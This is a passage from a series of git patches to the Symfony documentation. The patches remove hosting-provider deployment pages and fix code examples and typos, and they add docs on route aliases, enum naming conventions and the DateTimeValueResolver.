-* `Azure`_
-* `fortrabbit`_
-* `Clever Cloud`_
-* `Scalingo`_
+app quickly. There are many PaaS, but we recommend `Platform.sh`_ as it
+provides a dedicated Symfony integration and help fund the Symfony development.
 
 Using Build Scripts and other Tools
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -275,12 +268,7 @@ Learn More
 .. _`Symfony plugin`: https://github.com/capistrano/symfony/
 .. _`Deployer`: https://deployer.org/
 .. _`Git Tagging`: https://git-scm.com/book/en/v2/Git-Basics-Tagging
-.. _`Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4
-.. _`Platform.sh`: https://docs.platform.sh/frameworks/symfony.html
-.. _`Azure`: https://azure.microsoft.com/en-us/develop/php/
-.. _`fortrabbit`: https://help.fortrabbit.com/install-symfony-5
+.. _`Platform.sh`: https://symfony.com/cloud
 .. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle
-.. _`Clever Cloud`: https://www.clever-cloud.com/doc/php/tutorial-symfony/
 .. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html
-.. _`Scalingo`: https://doc.scalingo.com/languages/php/symfony
 .. _`Symfony CLI`: https://symfony.com/download
diff --git a/deployment/azure-website.rst b/deployment/azure-website.rst
deleted file mode 100644
index 15361b9e416..00000000000
--- a/deployment/azure-website.rst
+++ /dev/null
@@ -1,12 +0,0 @@
-:orphan:
-
-.. index::
-   single: Deployment; Deploying to Microsoft Azure Website Cloud
-
-Deploying to Microsoft Azure
-============================
-
-If you want information about deploying to Azure, see their official documentation:
-`Create your PHP web application on Azure`_
-
-.. _`Create your PHP web application on Azure`: https://azure.microsoft.com/en-us/develop/php/
diff --git a/deployment/fortrabbit.rst b/deployment/fortrabbit.rst
deleted file mode 100644
index d2aedab9598..00000000000
--- a/deployment/fortrabbit.rst
+++ /dev/null
@@ -1,12 +0,0 @@
-:orphan:
-
-.. index::
-   single: Deployment; Deploying to fortrabbit.com
-
-Deploying to fortrabbit
-=======================
-
-For details on deploying to fortrabbit, see their official documentation:
-`Install Symfony`_
-
-.. _`Install Symfony`: https://help.fortrabbit.com/install-symfony-5-uni
diff --git a/deployment/heroku.rst b/deployment/heroku.rst
deleted file mode 100644
index 1a2b416d8f0..00000000000
--- a/deployment/heroku.rst
+++ /dev/null
@@ -1,12 +0,0 @@
-:orphan:
-
-.. index::
-   single: Deployment; Deploying to Heroku Cloud
-
-Deploying to Heroku
-===================
-
-To deploy to Heroku, see their official documentation:
-`Deploying Symfony 4 & 5 Applications on Heroku`_.
-
-.. _`Deploying Symfony 4 & 5 Applications on Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4
diff --git a/deployment/platformsh.rst b/deployment/platformsh.rst
deleted file mode 100644
index c124da18674..00000000000
--- a/deployment/platformsh.rst
+++ /dev/null
@@ -1,12 +0,0 @@
-:orphan:
-
-.. index::
-   single: Deployment; Deploying to Platform.sh
-
-Deploying to Platform.sh
-========================
-
-To deploy to Platform.sh, see their official documentation:
-`Symfony Platform.sh Documentation`_.
-
-.. _`Symfony Platform.sh Documentation`: https://docs.platform.sh/frameworks/symfony.html

From 2ebec3bf1a75d1572e405b63215faa01a137be31 Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Sun, 20 Feb 2022 11:40:50 +0100
Subject: [PATCH 3045/7107] Update filesystem.rst

Hello,

According to the `getLongestCommonBasePath` signature, the method accepts a variadic string parameter $paths and not an array. It means when calling the `Path::getLongestCommonBasePath` with an array, a `TypeError` occurs.
I think even the PHPDoc of the `Path::getLongestCommonBasePath` should be updated too as it is mentionned that it can accept an array argument.
---
 components/filesystem.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index e60e0b389af..091c42c5df3 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -438,15 +438,13 @@ Especially when storing many paths, the amount of duplicated information is
 noticeable. You can use :method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath`
 to check a list of paths for a common base path::
 
-    $paths = [
+    Path::getLongestCommonBasePath(
         '/var/www/vhosts/project/httpdocs/config/config.yaml',
         '/var/www/vhosts/project/httpdocs/config/routing.yaml',
         '/var/www/vhosts/project/httpdocs/config/services.yaml',
         '/var/www/vhosts/project/httpdocs/images/banana.gif',
-        '/var/www/vhosts/project/httpdocs/uploads/images/nicer-banana.gif',
-    ];
-
-    Path::getLongestCommonBasePath($paths);
+        '/var/www/vhosts/project/httpdocs/uploads/images/nicer-banana.gif'
+    );
     // => /var/www/vhosts/project/httpdocs
 
 Use this path together with :method:`Symfony\\Component\\Filesystem\\Path::makeRelative`

From 1d2cbe34434412da609badbdf6ac59f6b0fff5e5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Feb 2022 15:33:39 +0100
Subject: [PATCH 3046/7107] Remove some unused links

---
 deployment.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 47d8c4ef418..369256bf316 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -73,9 +73,6 @@ Using Build Scripts and other Tools
 There are also tools to help ease the pain of deployment. Some of them have been
 specifically tailored to the requirements of Symfony.
 
-`EasyDeployBundle`_
-    A Symfony bundle that adds deploy tools to your application.
-
 `Deployer`_
     This is another native PHP rewrite of Capistrano, with some ready recipes for
     Symfony.
@@ -269,6 +266,4 @@ Learn More
 .. _`Deployer`: https://deployer.org/
 .. _`Git Tagging`: https://git-scm.com/book/en/v2/Git-Basics-Tagging
 .. _`Platform.sh`: https://symfony.com/cloud
-.. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle
-.. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html
 .. _`Symfony CLI`: https://symfony.com/download

From 88417e1ae0f6c9f5c0ec3bbdf3b1d0e0834f63e8 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 21 Feb 2022 15:36:26 +0100
Subject: [PATCH 3047/7107] Remove :orphan: as it's not used anymore

---
 bundles/index.rst                      | 2 --
 components/filesystem/lock_handler.rst | 2 --
 2 files changed, 4 deletions(-)

diff --git a/bundles/index.rst b/bundles/index.rst
index e4af2cd357b..58bcd13761e 100644
--- a/bundles/index.rst
+++ b/bundles/index.rst
@@ -1,5 +1,3 @@
-:orphan:
-
 Bundles
 =======
 
diff --git a/components/filesystem/lock_handler.rst b/components/filesystem/lock_handler.rst
index e7dab2fa625..5997fd3887b 100644
--- a/components/filesystem/lock_handler.rst
+++ b/components/filesystem/lock_handler.rst
@@ -1,5 +1,3 @@
-:orphan:
-
 LockHandler
 ===========
 

From 1f902e17c9d9e98657370cedece476cfaf7dde25 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Wed, 23 Feb 2022 12:08:43 +0100
Subject: [PATCH 3048/7107] Fix doc for String

---
 components/string.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 85f020eb6ed..caff1413382 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -334,12 +334,11 @@ Methods to Search and Replace
     u('foo')->equalsTo('foo'); // true
 
     // checks if the string content match the given regular expression.
-    // You can pass flags for preg_match() as second argument. If PREG_PATTERN_ORDER
-    // or PREG_SET_ORDER are passed, preg_match_all() will be used.
     u('avatar-73647.png')->match('/avatar-(\d+)\.png/');
-    // result = ['avatar-73647.png', '73647']
-    u('avatar-73647.png')->match('/avatar-(\d+)(-\d+)?\.png/', \PREG_UNMATCHED_AS_NULL);
     // result = ['avatar-73647.png', '73647', null]
+
+    // You can pass flags for preg_match() as second argument. If PREG_PATTERN_ORDER
+    // or PREG_SET_ORDER are passed, preg_match_all() will be used.
     u('206-555-0100 and 800-555-1212')->match('/\d{3}-\d{3}-\d{4}/', \PREG_PATTERN_ORDER);
     // result = [['206-555-0100', '800-555-1212']]
 

From 4cc6393f9730b7bcc1c40ac38d7dcf2f41772e6a Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Wed, 23 Feb 2022 11:34:43 +0100
Subject: [PATCH 3049/7107] Document code-style for enums and class constants

---
 contributing/code/standards.rst | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 92b4af2b5f3..bcf10eb3196 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -210,8 +210,12 @@ Naming Conventions
 * Use `snake_case`_ for configuration parameters and Twig template variables
   (e.g. ``framework.csrf_protection``, ``http_status_code``);
 
-* Use namespaces for all PHP classes and `UpperCamelCase`_ for their names (e.g.
-  ``ConsoleLogger``);
+* Use `SCREAMING_SNAKE_CASE`_ for constants (e.g. ``InputArgument::IS_ARRAY``);
+
+* Use `UpperCamelCase`_ for enumeration cases (e.g. ``InputArgumentMode::IsArray``);
+
+* Use namespaces for all PHP classes, interfaces, traits and enums and
+  `UpperCamelCase`_ for their names (e.g. ``ConsoleLogger``);
 
 * Prefix all abstract classes with ``Abstract`` except PHPUnit ``*TestCase``.
   Please note some early Symfony classes do not follow this convention and
@@ -222,6 +226,9 @@ Naming Conventions
 
 * Suffix traits with ``Trait``;
 
+* Don't use a dedicated suffix for classes or enumerations (e.g. like ``Class``
+  or ``Enum``), except for the cases listed below.
+
 * Suffix exceptions with ``Exception``;
 
 * Prefix PHP attributes with ``As`` where applicable (e.g. ``#[AsCommand]``

From edfba60316496e166dedbd1f73a99bbb8b3e9e99 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Thu, 24 Feb 2022 14:13:10 +0100
Subject: [PATCH 3050/7107] Allowmin PHP req to change for a minor Symfony
 version

---
 contributing/community/releases.rst | 8 +++++++-
 setup.rst                           | 3 ---
 2 files changed, 7 insertions(+), 4 deletions(-)

diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index c717aea5c2a..9a2e652ac48 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -104,7 +104,7 @@ deprecated features, which your project no longer uses).
 PHP Compatibility
 -----------------
 
-The **minimum** PHP version is decided for each major Symfony version by consensus
+The **minimum** PHP version is decided for each **major** Symfony version by consensus
 amongst the :doc:`core team </contributing/code/core_team>` and documented as
 part of the :ref:`technical requirements for running Symfony applications
 <symfony-tech-requirements>`.
@@ -117,6 +117,12 @@ one that is publicly available.
 For out-of-support releases of Symfony, the latest PHP version at time of EOL is the last
 supported PHP version. Newer versions of PHP may or may not function.
 
+.. note::
+
+    By exception to the rule, bumping the minimum **minor** version of PHP is
+    possible for a **minor** Symfony version when this helps fix important
+    issues.
+
 Rationale
 ---------
 
diff --git a/setup.rst b/setup.rst
index b1462779c58..685a89afdb1 100644
--- a/setup.rst
+++ b/setup.rst
@@ -21,9 +21,6 @@ Before creating your first Symfony application you must:
   enabled by default in most PHP 7 installations): `Ctype`_, `iconv`_, `JSON`_,
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
 
-  * Note that all newer, released versions of PHP will be supported during the
-    lifetime of each Symfony release (including new major versions).
-    For example, PHP 8.0 is supported.
 * `Install Composer`_, which is used to install PHP packages.
 
 Optionally, you can also `install Symfony CLI`_. This creates a binary called

From edcc4c42c75212f89277f479c7ee9c0d8172b8c4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Feb 2022 16:50:32 +0100
Subject: [PATCH 3051/7107] Update PHP requirements of Symfony 6.1 to 8.1

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index cb66453ac55..12adcb7fcc8 100644
--- a/setup.rst
+++ b/setup.rst
@@ -17,7 +17,7 @@ Technical Requirements
 
 Before creating your first Symfony application you must:
 
-* Install PHP 8.0.2 or higher and these PHP extensions (which are installed and
+* Install PHP 8.1 or higher and these PHP extensions (which are installed and
   enabled by default in most PHP 8 installations): `Ctype`_, `iconv`_,
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
 * `Install Composer`_, which is used to install PHP packages.

From c6af87a69a72827e9ace099f5bc84bb96c4e09b5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Feb 2022 10:51:18 +0100
Subject: [PATCH 3052/7107] Fix the local doc build

---
 README.markdown  | 8 +++++++-
 _build/build.php | 6 ++++++
 2 files changed, 13 insertions(+), 1 deletion(-)

diff --git a/README.markdown b/README.markdown
index 2139c1599ac..c7758624d24 100644
--- a/README.markdown
+++ b/README.markdown
@@ -42,4 +42,10 @@ $ composer install
 $ php build.php
 ```
 
-Now you can browse the docs at `_build/output/index.html`
+After generating docs, serve them with the internal PHP server:
+
+```bash
+$ php -S localhost:8000 -t output/
+```
+
+Browse `http://localhost:8000` to read the docs.
diff --git a/_build/build.php b/_build/build.php
index b17e3e984be..3c64f4d6b85 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -46,6 +46,12 @@
         $result = (new DocBuilder())->build($buildConfig);
 
         if ($result->isSuccessful()) {
+            // fix assets URLs to make them absolute (otherwise, they don't work in subdirectories)
+            foreach (glob($outputDir.'/**/*.html') as $htmlFilePath) {
+                $htmlContents = file_get_contents($htmlFilePath);
+                file_put_contents($htmlFilePath, str_replace('href="assets/', 'href="/assets/', $htmlContents));
+            }
+
             $io->success(sprintf("The Symfony Docs were successfully built at %s", realpath($outputDir)));
         } else {
             $io->error(sprintf("There were some errors while building the docs:\n\n%s\n", $result->getErrorTrace()));

From ad25654eb86916d225ca89d4f5a511ad3948363c Mon Sep 17 00:00:00 2001
From: Tim Goudriaan <tim@onlinq.nl>
Date: Tue, 1 Mar 2022 09:54:05 +0100
Subject: [PATCH 3053/7107] Remove reference to obsolete
 Psr7ServerRequestResolver

---
 controller/argument_value_resolver.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 1dc0833bb53..aaf1fa6d390 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -64,11 +64,6 @@ In addition, some components and official bundles provide other value resolvers:
     The ``SecurityUserValueResolver`` was deprecated in Symfony 4.1 in favor of
     :class:`Symfony\\Component\\Security\\Http\\Controller\\UserValueResolver`.
 
-``Psr7ServerRequestResolver``
-    Injects a `PSR-7`_ compliant version of the current request if type-hinted
-    with ``RequestInterface``, ``MessageInterface`` or ``ServerRequestInterface``.
-    It requires installing the `SensioFrameworkExtraBundle`_.
-
 Adding a Custom Value Resolver
 ------------------------------
 
@@ -266,5 +261,3 @@ passing the user along sub-requests).
 .. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`yield`: https://www.php.net/manual/en/language.generators.syntax.php
 .. _`SecurityBundle`: https://github.com/symfony/security-bundle
-.. _`PSR-7`: https://www.php-fig.org/psr/psr-7/
-.. _`SensioFrameworkExtraBundle`: https://github.com/sensiolabs/SensioFrameworkExtraBundle

From 60eb02497144ffc0eb8c8b01c36a71934b41986f Mon Sep 17 00:00:00 2001
From: Thibault RICHARD <thibault@widop.com>
Date: Tue, 1 Mar 2022 13:14:53 +0100
Subject: [PATCH 3054/7107] [FrameworkBundle] Change exceptions title level

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b3e72757128..1ffd77d90f1 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3476,7 +3476,7 @@ a normal workflow or a state machine. Read :doc:`this article </workflow/workflo
 to know their differences.
 
 exceptions
-""""""""""
+~~~~~~~~~~
 
 **type**: ``array``
 

From 7b9ac691b1d446e65c5fe60a92994ae6fcfc66b6 Mon Sep 17 00:00:00 2001
From: Houssem ZITOUN <houssem.zitoun@ekino.com>
Date: Mon, 14 Feb 2022 15:03:26 +0100
Subject: [PATCH 3055/7107] improve .env doc

---
 configuration.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index f76a2aa09aa..035def1e7c4 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -583,6 +583,11 @@ In addition to your own env vars, this ``.env`` file also contains the env vars
 defined by the third-party packages installed in your application (they are
 added automatically by :ref:`Symfony Flex <symfony-flex>` when installing packages).
 
+.. tip::
+
+    Since the ``.env`` file is read and parsed on every request, you don't need to
+    clear the Symfony cache or restart the PHP container if you're using Docker.
+
 .env File Syntax
 ................
 

From 9c910d74bfe8e2bc6850ded5ad94cdb28ffd4a5d Mon Sep 17 00:00:00 2001
From: Tim Goudriaan <tim@onlinq.nl>
Date: Thu, 3 Mar 2022 11:58:05 +0100
Subject: [PATCH 3056/7107] Add information about DateTimeValueResolver

---
 controller/argument_value_resolver.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 346a96ffbeb..02d0a5b5971 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -59,6 +59,15 @@ Symfony ships with the following value resolvers in the
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestAttributeValueResolver`
     Attempts to find a request attribute that matches the name of the argument.
 
+:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\DateTimeValueResolver`
+    Attempts to find a request attribute that matches the name of the argument
+    and injects a ``DateTimeInterface`` object if type-hinted with a class
+    extending ``DateTimeInterface``.
+
+    By default any input that can be parsed as a date string by PHP is accepted.
+    You can restrict how the input can be formatted with the
+    :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapDateTime` attribute.
+
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestValueResolver`
     Injects the current ``Request`` if type-hinted with ``Request`` or a class
     extending ``Request``.

From 194ca17a80e695b3d0d95f1daf6f43c2ad9c42a7 Mon Sep 17 00:00:00 2001
From: Lctrs <jerome@prmntr.me>
Date: Wed, 29 Dec 2021 20:31:22 +0100
Subject: [PATCH 3057/7107] [Routing] Document the new alias feature

---
 routing.rst | 111 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 111 insertions(+)

diff --git a/routing.rst b/routing.rst
index 9f7a1fca581..e6e09a1c6dc 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1453,6 +1453,117 @@ A possible solution is to change the parameter requirements to be more permissiv
     as the token and the format will be empty. This can be solved by replacing
     the ``.+`` requirement by ``[^.]+`` to allow any character except dots.
 
+.. _routing-alias:
+
+Aliasing
+--------
+
+.. versionadded:: 5.4
+
+    Support for route aliases was introduced in Symfony 5.4.
+
+You may sometimes want to have multiple names for the same route. You can do so by
+aliasing them.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+      # config/routes.yaml
+      alias_name:
+          alias: target_route_name
+
+    .. code-block:: xml
+
+      <!-- config/routes.xml -->
+      <?xml version="1.0" encoding="UTF-8" ?>
+      <routes xmlns="http://symfony.com/schema/routing"
+          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+          xsi:schemaLocation="http://symfony.com/schema/routing
+              https://symfony.com/schema/routing/routing-1.0.xsd">
+
+          <route id="alias_name" alias="target_route_name"/>
+      </routes>
+
+    .. code-block:: php
+
+      // config/routes.php
+      use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+      return function (RoutingConfigurator $routes) {
+          $routes->alias('alias_name', 'target_route_name');
+      };
+
+.. _routing-alias-deprecation:
+
+Deprecating Route Aliases
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you decide to deprecate the use of a route alias (because it is outdated or
+you decided not to maintain it anymore), you can deprecate its definition:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+      alias_name:
+          alias: target_route_name
+
+          # this outputs the following generic deprecation message:
+          # Since acme/package 1.2: The "alias_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
+          deprecated:
+              package: 'acme/package'
+              version: '1.2'
+
+          # you can also define a custom deprecation message (%alias_id% placeholder is available)
+          deprecated:
+              package: 'acme/package'
+              version: '1.2'
+              message: 'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
+
+    .. code-block:: xml
+
+      <?xml version="1.0" encoding="UTF-8" ?>
+      <routes xmlns="http://symfony.com/schema/routing"
+          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+          xsi:schemaLocation="http://symfony.com/schema/routing
+              https://symfony.com/schema/routing/routing-1.0.xsd">
+
+          <route id="alias_name" alias="target_route_name">
+              <!-- this outputs the following generic deprecation message:
+                   Since acme/package 1.2: The "alias_name" route alias is deprecated. You should stop using it, as it will be removed in the future. -->
+              <deprecated package="acme/package" version="1.2"/>
+
+              <!-- you can also define a custom deprecation message (%alias_id% placeholder is available) -->
+              <deprecated package="acme/package" version="1.2">
+                  The "%alias_id%" route alias is deprecated. Do not use it anymore.
+              </deprecated>
+          </route>
+      </routes>
+
+    .. code-block:: php
+
+      $routes->alias('alias_name', 'target_route_name')
+
+          // this outputs the following generic deprecation message:
+          // Since acme/package 1.2: The "alias_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
+          ->deprecate('acme/package', '1.2', '')
+
+          // you can also define a custom deprecation message (%alias_id% placeholder is available)
+          ->deprecate(
+              'acme/package',
+              '1.2',
+              'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
+          )
+      ;
+
+Now, every time this route alias is used, a deprecation warning is triggered,
+advising you to stop or to change your uses of that alias.
+
+The message is actually a message template, which replaces occurrences of the
+``%alias_id%`` placeholder by the route alias name. You **must** have
+at least one occurrence of the ``%alias_id%`` placeholder in your template.
+
 .. _routing-route-groups:
 
 Route Groups and Prefixes

From 9dd602067c574ab73d4993865d1c4a0fd936b766 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 4 Mar 2022 08:57:55 +0100
Subject: [PATCH 3058/7107] Fix wrong markup

---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index ba58e38bee7..e4efce9077c 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -104,7 +104,7 @@ The kernel will immediately act as a reverse proxy: caching responses
 from your application and returning them to the client.
 
 The proxy has a sensible default configuration, but it can be
-finely tuned via `a set of options <configuration-framework-http_cache>`.
+finely tuned via :ref:`a set of options <configuration-framework-http_cache>`.
 
 When in :ref:`debug mode <debug-mode>`, Symfony automatically adds an
 ``X-Symfony-Cache`` header to the response. You can also use the ``trace_level``

From b73bfd1ffb5d742c62edde419c3de94863539034 Mon Sep 17 00:00:00 2001
From: Maxime Cornet <maximecornet@outlook.fr>
Date: Fri, 4 Mar 2022 17:57:08 +0100
Subject: [PATCH 3059/7107] Update testing.rst

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 9e493f293ef..6b29fbe378e 100644
--- a/testing.rst
+++ b/testing.rst
@@ -99,7 +99,7 @@ You can run tests using the ``./vendor/bin/phpunit`` command:
 .. tip::
 
     In large test suites, it can make sense to create subdirectories for
-    each type of tests (e.g. ``tests/Unit/`` and ``test/Functional/``).
+    each type of tests (e.g. ``tests/Unit/`` and ``tests/Functional/``).
 
 .. _integration-tests:
 

From b4eeb3b8dda11eb236e4f40839456ec8ae67885b Mon Sep 17 00:00:00 2001
From: Benjamin Sureau <40140102+bsureau@users.noreply.github.com>
Date: Sat, 5 Mar 2022 14:40:02 +0100
Subject: [PATCH 3060/7107] docs : update autowiring.rst

Add missing `arguments` key in `services.yaml` code block example - `#dealing-with-multiple-implementations-of-the-same-type` section.
---
 service_container/autowiring.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 61a22172f9d..93a4a9864f0 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -464,6 +464,7 @@ the injection::
 
                 # If you wanted to choose the non-default service and do not
                 # want to use a named autowiring alias, wire it manually:
+                # arguments:
                 #     $transformer: '@App\Util\UppercaseTransformer'
                 # ...
 

From 90cd82a6f378f5c485bbdc015f88ffda32ade2a0 Mon Sep 17 00:00:00 2001
From: Julien Dephix <jdephix@hotmail.com>
Date: Tue, 8 Mar 2022 08:19:05 +0100
Subject: [PATCH 3061/7107] Update filesystem.rst so backslash is displayed

Hi,

here's my very modest contribution!

Thanks
---
 components/filesystem.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 091c42c5df3..83f9c59de3f 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -348,7 +348,7 @@ following rules iteratively until no further processing can be done:
 
 - "." segments are removed;
 - ".." segments are resolved;
-- backslashes ("\") are converted into forward slashes ("/");
+- backslashes ("\\") are converted into forward slashes ("/");
 - root paths ("/" and "C:/") always terminate with a slash;
 - non-root paths never terminate with a slash;
 - schemes (such as "phar://") are kept;

From 72ec88b1035f43e830439a4de426fd85b0d6de19 Mon Sep 17 00:00:00 2001
From: devSf2 <boudi.abdelilah@gmail.com>
Date: Thu, 3 Mar 2022 14:50:21 +0100
Subject: [PATCH 3062/7107] Update testing.rst

Add missing testing environment option to 'doctrine:fixtures:load' command.
---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 6b29fbe378e..14024c8bc87 100644
--- a/testing.rst
+++ b/testing.rst
@@ -406,7 +406,7 @@ Empty the database and reload *all* the fixture classes with:
 
 .. code-block:: terminal
 
-    $ php bin/console doctrine:fixtures:load
+    $ php bin/console --env=test doctrine:fixtures:load
 
 For more information, read the `DoctrineFixturesBundle documentation`_.
 

From d40fc379445b03384d8906d1b44d201df1b70248 Mon Sep 17 00:00:00 2001
From: Simon Appelt <aipt32@gmail.com>
Date: Mon, 7 Mar 2022 11:10:20 +0100
Subject: [PATCH 3063/7107] Update profiler.rst

The info not to use the profiler in production environments should be highlighted more
---
 profiler.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index f7468c67d0b..49e804f45b2 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -2,8 +2,12 @@ Profiler
 ========
 
 The profiler is a powerful **development tool** that gives detailed information
-about the execution of any request. **Never** enable the profiler in production
-environments as it will lead to major security vulnerabilities in your project.
+about the execution of any request. 
+
+.. caution::
+
+    **Never** enable the profiler in production environments
+    as it will lead to major security vulnerabilities in your project.
 
 Installation
 ------------

From 01c2ec90bc3ef39121802fe5569c45419a5eb39c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 8 Mar 2022 09:44:31 +0100
Subject: [PATCH 3064/7107] Remove unused reference

---
 controller/argument_value_resolver.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index d79b7a481b9..5d5abc7ed62 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -255,4 +255,3 @@ passing the user along sub-requests).
 
 .. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`yield`: https://www.php.net/manual/en/language.generators.syntax.php
-.. _`SecurityBundle`: https://github.com/symfony/security-bundle

From 0d520c9a837844e7e3d1506a05829ca358d7a968 Mon Sep 17 00:00:00 2001
From: mark2016 <markgiglio@gmail.com>
Date: Mon, 7 Mar 2022 16:36:38 +1100
Subject: [PATCH 3065/7107] Update doctrine.rst

Fix the line numbering of the description of the ProductController to correctly align with the described line (the second half of them were about 2 out).
---
 doctrine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index e0376774b25..044da160db8 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -414,13 +414,13 @@ Take a look at the previous example in more detail:
   *entity manager* object, which is the most important object in Doctrine. It's
   responsible for saving objects to, and fetching objects from, the database.
 
-* **lines 20-23** In this section, you instantiate and work with the ``$product``
+* **lines 18-21** In this section, you instantiate and work with the ``$product``
   object like any other normal PHP object.
 
-* **line 26** The ``persist($product)`` call tells Doctrine to "manage" the
+* **line 24** The ``persist($product)`` call tells Doctrine to "manage" the
   ``$product`` object. This does **not** cause a query to be made to the database.
 
-* **line 29** When the ``flush()`` method is called, Doctrine looks through
+* **line 27** When the ``flush()`` method is called, Doctrine looks through
   all of the objects that it's managing to see if they need to be persisted
   to the database. In this example, the ``$product`` object's data doesn't
   exist in the database, so the entity manager executes an ``INSERT`` query,

From 4172b97fb687fab9b5cebdf8eda06d08348bd5d0 Mon Sep 17 00:00:00 2001
From: Johan de Jager <johan@laptify.nl>
Date: Wed, 9 Mar 2022 19:16:51 +0100
Subject: [PATCH 3066/7107] Typo

---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index 026716e0deb..600fee884dd 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -55,7 +55,7 @@ which makes creating a voter even easier::
 
 .. tip::
 
-    Checking each voter several times can be time consumming for applications
+    Checking each voter several times can be time consuming for applications
     that perform a lot of permission checks. To improve performance in those cases,
